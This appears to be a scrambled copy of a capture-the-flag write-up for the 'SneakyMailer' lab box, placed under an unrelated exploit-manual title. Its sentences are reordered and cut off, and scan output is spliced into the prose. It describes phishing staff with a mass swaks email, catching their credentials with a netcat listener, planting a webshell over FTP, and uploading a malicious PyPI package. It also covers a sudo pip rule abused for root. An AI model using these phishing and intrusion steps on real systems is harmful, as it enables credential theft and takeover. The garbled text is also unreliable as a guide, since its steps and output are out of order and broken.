SQUIRRELMAIL HMAILSERVER EXPLOIT MANUAL

Most clients use A0001, but it can be anything. I can interact with IMAP manually with nc on port 143 (or if I want to use the TLS version on port 993, I can use ncat (which is nc is aliased to on my machine) with the -ssl option). With creds for Paul, I can check his email.

SQUIRRELMAIL HMAILSERVER EXPLOIT MANUAL

I’ll show both the manual way to access IMAP with nc as well as using a mail client. Strangely, a POST request comes nc -lnvp 80 I’ll have Python’s rver module listening. The body of my email is a link to myself. I can include a list of recipients with the -to options, comma swaks -to $( cat emails | tr ' ' ',' | less ) -from -header 'Subject: test' -body 'please click here ' -server 10.10.10.197 Given the theme of this box, it makes sense to use the list of emails to send a phish. I’ll have to come back to this later when I have more information. I tried visiting by hostnames, and brute forcing directories, but didn’t find anything. Visiting TCP 8080 returns the default NGINX page: This site appears to be exactly the same: website - TCP 8080 Unfortunately, visiting /pypi just returns 403 Forbidden. This is certainly related to the note about PyPI from the page. The only interesting thing that jumps out here is /pypi. Wordlist: /usr/share/wordlists/dirbuster/

Nmap is usually pretty good about pointing out if anonymous login is allowed, but I tested just to be gobuster dir -u -w /usr/share/wordlists/dirbuster/ -x php -t 20 -o scans/gobuster-sneakycorp.htb-med-phpīy OJ Reeves & Christian Mehlmauer Url: There’s also a redirect on port 80 to FTP - TCP 21 Nmap done: 1 IP address (1 host up) scanned in 42.36 secondsīased on the OpenSSH version, the host is likely running Debian 10 buster. Service Info: Host: debian OSs: Unix, Linux CPE: cpe:/o:linux:linux_kernel |_http-open-proxy: Proxy might be redirecting requests |_imap-capabilities: CHILDREN IDLE QUOTA AUTH=PLAIN NAMESPACE UIDPLUS CAPABILITY ENABLE ACL2=UNION THREAD=ORDEREDSUBJECT OK completed ACL THREAD=REFERENCES UTF8=ACCEPTA0001 IMAP4rev1 SORT |_ssl-date: TLS randomness does not represent timeĩ93/tcp open ssl/imap Courier Imapd (released 2018) | Subject Alternative Name: Not valid before: T17:14:21 | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US |_imap-capabilities: CHILDREN IDLE QUOTA NAMESPACE UIDPLUS CAPABILITY ENABLE ACL2=UNION THREAD=ORDEREDSUBJECT completed OK STARTTLS ACL THREAD=REFERENCES UTF8=ACCEPTA0001 IMAP4rev1 SORT |_http-title: Did not follow redirect to ġ43/tcp open imap Courier Imapd (released 2018) |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, In Beyond Root, I’ll look at the automation on the box running as services. For root, I’ll abuse a sudo rule to run pip, installing the same package again.

To privesc, I’ll submit a malicious Python package to the local PyPi server, which provides execution and a shell as that user. The FTP access is in the web directory, and while there’s nothing interesting there, I can write a webshell and get execution, and a shell. That provides access to the IMAP inbox for that user, where I’ll find creds for FTP. One of the users will click on the link, and return a POST request with their login creds. SneakyMailer starts with web enumeration to find a list of email addresses, which I can use along with SMTP access to send phishing emails.

Squirrelmail hmailserver exploit